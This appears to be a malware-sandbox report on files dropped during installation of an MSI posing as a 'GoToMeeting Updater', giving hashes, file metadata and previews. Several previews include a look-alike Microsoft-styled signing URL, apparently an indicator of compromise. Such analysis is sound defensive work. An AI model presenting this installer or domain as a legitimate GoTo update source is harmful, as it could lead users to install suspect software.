Preview:	...@IXOS.@.....@.z.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@.......@.....@.....@........RegisterProduct..Registering product..[1]i...0......PublishProduct..Publishing product information.......@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}'.https://dnsg-microsoftds-data.com/sign/..&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}.@.......@.....@.....@.]..

C:\Windows\Installer\MSI2ED0.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: GoToMeeting Updater, Author: CitrixSystems, Keywords: Installer, Comments: This installer database contains the logic and data required to install GoTo., Template: x64;1033, Revision Number: {8EB6C5B9-E3E4-4C99-901D-D3213245204A}, Create Time/Date: Fri May 30 13:03:54 2025, Last Saved Time/Date: Fri May 30 13:03:54 2025, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.14.1.8722), Security: 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.4528470756075254
Encrypted:	false
SSDEEP:	384:LFZdfAR40/RMyy3M5BCfx5Pyy3M5BC0ioXtLevuI:N0WyWMDC/yWMDC
MD5:	1903DFBC4F90409F8AB91927540DD57E
SHA1:	A843B156366CE888AA027B51F57F187931EA0E6D
SHA-256:	C456DABC102AE7FFC2744E4AF987D82BD17A50110D89D8363254C52D6A96DA11
SHA-512:	1F0BE3EA09E82FE2CEE7BBA0EE89F8A04A99AF7A8A1B59B11E4F15E232D1F654DA5DD49BA66CB954609A0CEDBC3DFEE3D7850DC5FE6799D3CC879C1C706A1BD3
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI2F6D.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	5.325368234881167
Encrypted:	false
SSDEEP:	24:2Lg2ldoD2vW/f6y2lrZAA9gXkXZIMEVlt17ldoVzkldoJ:2LbHrGMNZAbe3EVlt17HuzkHA
MD5:	500E73084D4F6B957FA936C1B2E06FE8
SHA1:	A29134876C49154883F00281449A644C559EF7CF
SHA-256:	7B4B59393D1524EF6CFD0FF877E90FB0B6DA74A9B9715E9E35A2F3775916E2A5
SHA-512:	1BDF2521A7D6B271EA65EC2BEBA3313D2914143D8CE4953349D41BBDD6240F536C1EAA640305935C6CF7F00B7D3FC7D1C026691410EF3C4329F4F2FBD38FAE0F
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.z.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@.......@.....@.....@........RegisterProduct..Registering product..[1]i...0......PublishProduct..Publishing product information.......@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}'.https://dnsg-microsoftds-data.com/sign/..&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}.@.......@.....@.....@.]..

C:\Windows\Installer\MSI32BA.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: GoToMeeting Updater, Author: CitrixSystems, Keywords: Installer, Comments: This installer database contains the logic and data required to install GoTo., Template: x64;1033, Revision Number: {8EB6C5B9-E3E4-4C99-901D-D3213245204A}, Create Time/Date: Fri May 30 13:03:54 2025, Last Saved Time/Date: Fri May 30 13:03:54 2025, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.14.1.8722), Security: 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.4528470756075254
Encrypted:	false
SSDEEP:	384:LFZdfAR40/RMyy3M5BCfx5Pyy3M5BC0ioXtLevuI:N0WyWMDC/yWMDC
MD5:	1903DFBC4F90409F8AB91927540DD57E
SHA1:	A843B156366CE888AA027B51F57F187931EA0E6D
SHA-256:	C456DABC102AE7FFC2744E4AF987D82BD17A50110D89D8363254C52D6A96DA11
SHA-512:	1F0BE3EA09E82FE2CEE7BBA0EE89F8A04A99AF7A8A1B59B11E4F15E232D1F654DA5DD49BA66CB954609A0CEDBC3DFEE3D7850DC5FE6799D3CC879C1C706A1BD3
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI3357.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	5.325368234881167
Encrypted:	false
SSDEEP:	24:2Lg2ldoD2vW/f6y2lrZAA9gXkXZIMEVlt17ldoVzkldoJ:2LbHrGMNZAbe3EVlt17HuzkHA
MD5:	500E73084D4F6B957FA936C1B2E06FE8
SHA1:	A29134876C49154883F00281449A644C559EF7CF
SHA-256:	7B4B59393D1524EF6CFD0FF877E90FB0B6DA74A9B9715E9E35A2F3775916E2A5
SHA-512:	1BDF2521A7D6B271EA65EC2BEBA3313D2914143D8CE4953349D41BBDD6240F536C1EAA640305935C6CF7F00B7D3FC7D1C026691410EF3C4329F4F2FBD38FAE0F
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.z.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@.......@.....@.....@........RegisterProduct..Registering product..[1]i...0......PublishProduct..Publishing product information.......@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}'.https://dnsg-microsoftds-data.com/sign/..&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}.@.......@.....@.....@.]..

C:\Windows\Installer\MSI3656.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: GoToMeeting Updater, Author: CitrixSystems, Keywords: Installer, Comments: This installer database contains the logic and data required to install GoTo., Template: x64;1033, Revision Number: {8EB6C5B9-E3E4-4C99-901D-D3213245204A}, Create Time/Date: Fri May 30 13:03:54 2025, Last Saved Time/Date: Fri May 30 13:03:54 2025, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.14.1.8722), Security: 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.4528470756075254
Encrypted:	false
SSDEEP:	384:LFZdfAR40/RMyy3M5BCfx5Pyy3M5BC0ioXtLevuI:N0WyWMDC/yWMDC
MD5:	1903DFBC4F90409F8AB91927540DD57E
SHA1:	A843B156366CE888AA027B51F57F187931EA0E6D
SHA-256:	C456DABC102AE7FFC2744E4AF987D82BD17A50110D89D8363254C52D6A96DA11
SHA-512:	1F0BE3EA09E82FE2CEE7BBA0EE89F8A04A99AF7A8A1B59B11E4F15E232D1F654DA5DD49BA66CB954609A0CEDBC3DFEE3D7850DC5FE6799D3CC879C1C706A1BD3
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI3722.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	5.324717783810703
Encrypted:	false
SSDEEP:	24:pLg2ldoD2vW/f6y2lrZAA9gXkXZIMEVlt17ldoVzkldoJ:pLbHrGMNZAbe3EVlt17HuzkHA
MD5:	A4902AD99E28BD0F6812E8BD4533274E
SHA1:	A6A20A1A8C3667EBBAE1A191D59BA0A08500CA5B
SHA-256:	FFF2BBB91AC74CFAA357EFC13349FF0F428671F3EE07E25CB976098A7E5B8063
SHA-512:	78871164C5D2F0E3F8021E3D4ED81DEFA84EF50500A51A95B9F3A97E035C4A434AE7371C172B6B07E5AF33D1D9D2C6F42E330CC8AE390B08DFFDD6C087A1689B
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.z.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@.......@.....@.....@........RegisterProduct..Registering product..[1]i...0......PublishProduct..Publishing product information.......@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}'.https://dnsg-microsoftds-data.com/sign/..&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}.@.......@.....@.....@.]..

C:\Windows\Installer\MSI379E.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: GoToMeeting Updater, Author: CitrixSystems, Keywords: Installer, Comments: This installer database contains the logic and data required to install GoTo., Template: x64;1033, Revision Number: {8EB6C5B9-E3E4-4C99-901D-D3213245204A}, Create Time/Date: Fri May 30 13:03:54 2025, Last Saved Time/Date: Fri May 30 13:03:54 2025, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.14.1.8722), Security: 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.4528470756075254
Encrypted:	false
SSDEEP:	384:LFZdfAR40/RMyy3M5BCfx5Pyy3M5BC0ioXtLevuI:N0WyWMDC/yWMDC
MD5:	1903DFBC4F90409F8AB91927540DD57E
SHA1:	A843B156366CE888AA027B51F57F187931EA0E6D
SHA-256:	C456DABC102AE7FFC2744E4AF987D82BD17A50110D89D8363254C52D6A96DA11
SHA-512:	1F0BE3EA09E82FE2CEE7BBA0EE89F8A04A99AF7A8A1B59B11E4F15E232D1F654DA5DD49BA66CB954609A0CEDBC3DFEE3D7850DC5FE6799D3CC879C1C706A1BD3
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI3A7F.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: GoToMeeting Updater, Author: CitrixSystems, Keywords: Installer, Comments: This installer database contains the logic and data required to install GoTo., Template: x64;1033, Revision Number: {8EB6C5B9-E3E4-4C99-901D-D3213245204A}, Create Time/Date: Fri May 30 13:03:54 2025, Last Saved Time/Date: Fri May 30 13:03:54 2025, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.14.1.8722), Security: 2
Category:	modified
Size (bytes):	32768
Entropy (8bit):	3.4528470756075254
Encrypted:	false
SSDEEP:	384:LFZdfAR40/RMyy3M5BCfx5Pyy3M5BC0ioXtLevuI:N0WyWMDC/yWMDC
MD5:	1903DFBC4F90409F8AB91927540DD57E
SHA1:	A843B156366CE888AA027B51F57F187931EA0E6D
SHA-256:	C456DABC102AE7FFC2744E4AF987D82BD17A50110D89D8363254C52D6A96DA11
SHA-512:	1F0BE3EA09E82FE2CEE7BBA0EE89F8A04A99AF7A8A1B59B11E4F15E232D1F654DA5DD49BA66CB954609A0CEDBC3DFEE3D7850DC5FE6799D3CC879C1C706A1BD3
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI447.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: GoToMeeting Updater, Author: CitrixSystems, Keywords: Installer, Comments: This installer database contains the logic and data required to install GoTo., Template: x64;1033, Revision Number: {8EB6C5B9-E3E4-4C99-901D-D3213245204A}, Create Time/Date: Fri May 30 13:03:54 2025, Last Saved Time/Date: Fri May 30 13:03:54 2025, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.14.1.8722), Security: 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.4528470756075254
Encrypted:	false
SSDEEP:	384:LFZdfAR40/RMyy3M5BCfx5Pyy3M5BC0ioXtLevuI:N0WyWMDC/yWMDC
MD5:	1903DFBC4F90409F8AB91927540DD57E
SHA1:	A843B156366CE888AA027B51F57F187931EA0E6D
SHA-256:	C456DABC102AE7FFC2744E4AF987D82BD17A50110D89D8363254C52D6A96DA11
SHA-512:	1F0BE3EA09E82FE2CEE7BBA0EE89F8A04A99AF7A8A1B59B11E4F15E232D1F654DA5DD49BA66CB954609A0CEDBC3DFEE3D7850DC5FE6799D3CC879C1C706A1BD3
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI4E4.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	5.325013107674011
Encrypted:	false
SSDEEP:	24:YLg2ldoD2vW/f6y2lrZAA9gXkXZIMEVlt17ldoVzkldoJ:YLbHrGMNZAbe3EVlt17HuzkHA
MD5:	A5BD3AA6737133C1EBBE3544F31977EC
SHA1:	6627F7FF8F8328B72C0D05824E1EC2E481241E7A
SHA-256:	8B4EA069389C1AB68F5D2BB8EE310E1507A305EDD42045180B097AF450620921
SHA-512:	AB7A52B196CD39DE3D15360AA801EFB35DA14B2BD6DACDDEDBABAF8F1A1238394194C5AAFFF940CF1C0F1F6D55A16D9D86EA023DE771DAC551C04892787BC124
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.z.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@.......@.....@.....@........RegisterProduct..Registering product..[1]i...0......PublishProduct..Publishing product information.......@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}'.https://dnsg-microsoftds-data.com/sign/..&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}.@.......@.....@.....@.]..

C:\Windows\Installer\MSI5D.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: GoToMeeting Updater, Author: CitrixSystems, Keywords: Installer, Comments: This installer database contains the logic and data required to install GoTo., Template: x64;1033, Revision Number: {8EB6C5B9-E3E4-4C99-901D-D3213245204A}, Create Time/Date: Fri May 30 13:03:54 2025, Last Saved Time/Date: Fri May 30 13:03:54 2025, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.14.1.8722), Security: 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.4528470756075254
Encrypted:	false
SSDEEP:	384:LFZdfAR40/RMyy3M5BCfx5Pyy3M5BC0ioXtLevuI:N0WyWMDC/yWMDC
MD5:	1903DFBC4F90409F8AB91927540DD57E
SHA1:	A843B156366CE888AA027B51F57F187931EA0E6D
SHA-256:	C456DABC102AE7FFC2744E4AF987D82BD17A50110D89D8363254C52D6A96DA11
SHA-512:	1F0BE3EA09E82FE2CEE7BBA0EE89F8A04A99AF7A8A1B59B11E4F15E232D1F654DA5DD49BA66CB954609A0CEDBC3DFEE3D7850DC5FE6799D3CC879C1C706A1BD3
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI8FC.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: GoToMeeting Updater, Author: CitrixSystems, Keywords: Installer, Comments: This installer database contains the logic and data required to install GoTo., Template: x64;1033, Revision Number: {8EB6C5B9-E3E4-4C99-901D-D3213245204A}, Create Time/Date: Fri May 30 13:03:54 2025, Last Saved Time/Date: Fri May 30 13:03:54 2025, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.14.1.8722), Security: 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.4528470756075254
Encrypted:	false
SSDEEP:	384:LFZdfAR40/RMyy3M5BCfx5Pyy3M5BC0ioXtLevuI:N0WyWMDC/yWMDC
MD5:	1903DFBC4F90409F8AB91927540DD57E
SHA1:	A843B156366CE888AA027B51F57F187931EA0E6D
SHA-256:	C456DABC102AE7FFC2744E4AF987D82BD17A50110D89D8363254C52D6A96DA11
SHA-512:	1F0BE3EA09E82FE2CEE7BBA0EE89F8A04A99AF7A8A1B59B11E4F15E232D1F654DA5DD49BA66CB954609A0CEDBC3DFEE3D7850DC5FE6799D3CC879C1C706A1BD3
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI9E8.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	5.323710335456709
Encrypted:	false
SSDEEP:	24:nkWLg2ldoD2vW/f6y2lrZAA9gXkXZIMEVlt17ldoVzkldoJ:kWLbHrGMNZAbe3EVlt17HuzkHA
MD5:	768FF8C067A58F3CCC5062E0F7D89E0D
SHA1:	8488FA6A679AC4663A76919A4CCCDBAB05A20956
SHA-256:	7467304C004352C534716E65D3063F0A1C8D8A9BE8D68B18592A908080312D5B
SHA-512:	ED2D20202A428D54E409001FE33956FD8513CC64EBF24A42B301B25EF1EF5D883C7A5C73CD541EDFDB22501901C2ECEF90B5E667D7313FF73D3E1119D620F4D5
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.z.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@.......@.....@.....@........RegisterProduct..Registering product..[1]i...0......PublishProduct..Publishing product information.......@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}'.https://dnsg-microsoftds-data.com/sign/..&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}.@.......@.....@.....@.]..

C:\Windows\Installer\MSIADD8.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	1394
Entropy (8bit):	5.556788430181363
Encrypted:	false
SSDEEP:	24:KLg2ldoD2vW/f6y2lrZAA9gXkXZK9tE5cjldo8nrBXz9IQwmWMEVltXqBXzyldo1:KLbHrGMNZAbeUHE5cjHvrBXz+7mbEVlu
MD5:	539A5B1390BC7D97670FCC7905572520
SHA1:	890C348743718E1538ECE5DB56F9F91E12C10DBC
SHA-256:	6347230A5C731782AB3C54AAB410D92A3E2698F932C608C41C9D589069AEEE97
SHA-512:	6E7A6D38A60C60684E11ACEB3146791B7BD4D45BE7F4584DB5201DE6A41DC020FB51069D9F4450FF49DF11A3E8EC2F1CEB5A79784E16E8F54CA8057C66738731
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.y.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@.......@.....@.....@........RegisterProduct..Registering product..[1]......Please insert the disk: ..media1.cab.@.....@.... .C:\Windows\Installer\MSI379E.tmp.........@....H. .C:\Windows\Installer\MSI379E.tmp&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..&.{B3A07E68-B302-4BE4-8840-888D3FB6A65E}..1.0.0.0......'.https://dnsg-microsoftds-data.com/sign/..CitrixSystems........................32......PublishFeatures..Publishing Product Features..Feature: [1]A...MainFeature...@......}YweqPxp

C:\Windows\Installer\MSIB4DE.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: GoToMeeting Updater, Author: CitrixSystems, Keywords: Installer, Comments: This installer database contains the logic and data required to install GoTo., Template: x64;1033, Revision Number: {8EB6C5B9-E3E4-4C99-901D-D3213245204A}, Create Time/Date: Fri May 30 13:03:54 2025, Last Saved Time/Date: Fri May 30 13:03:54 2025, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.14.1.8722), Security: 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.4528470756075254
Encrypted:	false
SSDEEP:	384:LFZdfAR40/RMyy3M5BCfx5Pyy3M5BC0ioXtLevuI:N0WyWMDC/yWMDC
MD5:	1903DFBC4F90409F8AB91927540DD57E
SHA1:	A843B156366CE888AA027B51F57F187931EA0E6D
SHA-256:	C456DABC102AE7FFC2744E4AF987D82BD17A50110D89D8363254C52D6A96DA11
SHA-512:	1F0BE3EA09E82FE2CEE7BBA0EE89F8A04A99AF7A8A1B59B11E4F15E232D1F654DA5DD49BA66CB954609A0CEDBC3DFEE3D7850DC5FE6799D3CC879C1C706A1BD3
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIB5CA.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	5.329780998297349
Encrypted:	false
SSDEEP:	24:7Lg2ldoD2vW/f6y2lrZAA9gXkXZIMEVlt17ldoVzkldoJ:7LbHrGMNZAbe3EVlt17HuzkHA
MD5:	9E27104749A30CC7AB21864B960F7E24
SHA1:	C3949C6F4848CD87AAF6E1CDC722143BCE2189D2
SHA-256:	1941FE562EBB15CA9F0554C6D0147D0FB9349CAA65745D6E9B028BB596518481
SHA-512:	8573A655A7F280769F81342BC6B6B14D3D86919543365C3AC7BDD7B19B167DC8F1C7AF1F2D333A13ADFF6ABF968A26398690A57F3ADB81CD8CAA70910F8B5A14
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.y.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@.......@.....@.....@........RegisterProduct..Registering product..[1]i...0......PublishProduct..Publishing product information.......@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}'.https://dnsg-microsoftds-data.com/sign/..&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}.@.......@.....@.....@.]..

C:\Windows\Installer\MSIB955.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: GoToMeeting Updater, Author: CitrixSystems, Keywords: Installer, Comments: This installer database contains the logic and data required to install GoTo., Template: x64;1033, Revision Number: {8EB6C5B9-E3E4-4C99-901D-D3213245204A}, Create Time/Date: Fri May 30 13:03:54 2025, Last Saved Time/Date: Fri May 30 13:03:54 2025, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.14.1.8722), Security: 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.4528470756075254
Encrypted:	false
SSDEEP:	384:LFZdfAR40/RMyy3M5BCfx5Pyy3M5BC0ioXtLevuI:N0WyWMDC/yWMDC
MD5:	1903DFBC4F90409F8AB91927540DD57E
SHA1:	A843B156366CE888AA027B51F57F187931EA0E6D
SHA-256:	C456DABC102AE7FFC2744E4AF987D82BD17A50110D89D8363254C52D6A96DA11
SHA-512:	1F0BE3EA09E82FE2CEE7BBA0EE89F8A04A99AF7A8A1B59B11E4F15E232D1F654DA5DD49BA66CB954609A0CEDBC3DFEE3D7850DC5FE6799D3CC879C1C706A1BD3
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIBA02.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	5.329780998297349
Encrypted:	false
SSDEEP:	24:oLg2ldoD2vW/f6y2lrZAA9gXkXZIMEVlt17ldoVzkldoJ:oLbHrGMNZAbe3EVlt17HuzkHA
MD5:	186C60C76B3F8FC7424AE576DDBE230D
SHA1:	56E3A276E84E3714F66DABF535DAC078E6A319F8
SHA-256:	E11D6CDDCD09B10ADAC2E65250A8A2770976684825F14EB1E22D367198AB44FA
SHA-512:	0D550AC78F953E53B38A09445C46FC2C3974A0F674C5FF5115D677F21D3ECB73DF244AB4226EBBFEF320B76C7E58CF6F12E010A9A5332638AD504B2B13570FD9
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.y.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@.......@.....@.....@........RegisterProduct..Registering product..[1]i...0......PublishProduct..Publishing product information.......@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}'.https://dnsg-microsoftds-data.com/sign/..&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}.@.......@.....@.....@.]..

C:\Windows\Installer\MSIBD00.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: GoToMeeting Updater, Author: CitrixSystems, Keywords: Installer, Comments: This installer database contains the logic and data required to install GoTo., Template: x64;1033, Revision Number: {8EB6C5B9-E3E4-4C99-901D-D3213245204A}, Create Time/Date: Fri May 30 13:03:54 2025, Last Saved Time/Date: Fri May 30 13:03:54 2025, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.14.1.8722), Security: 2
Category:	dropped
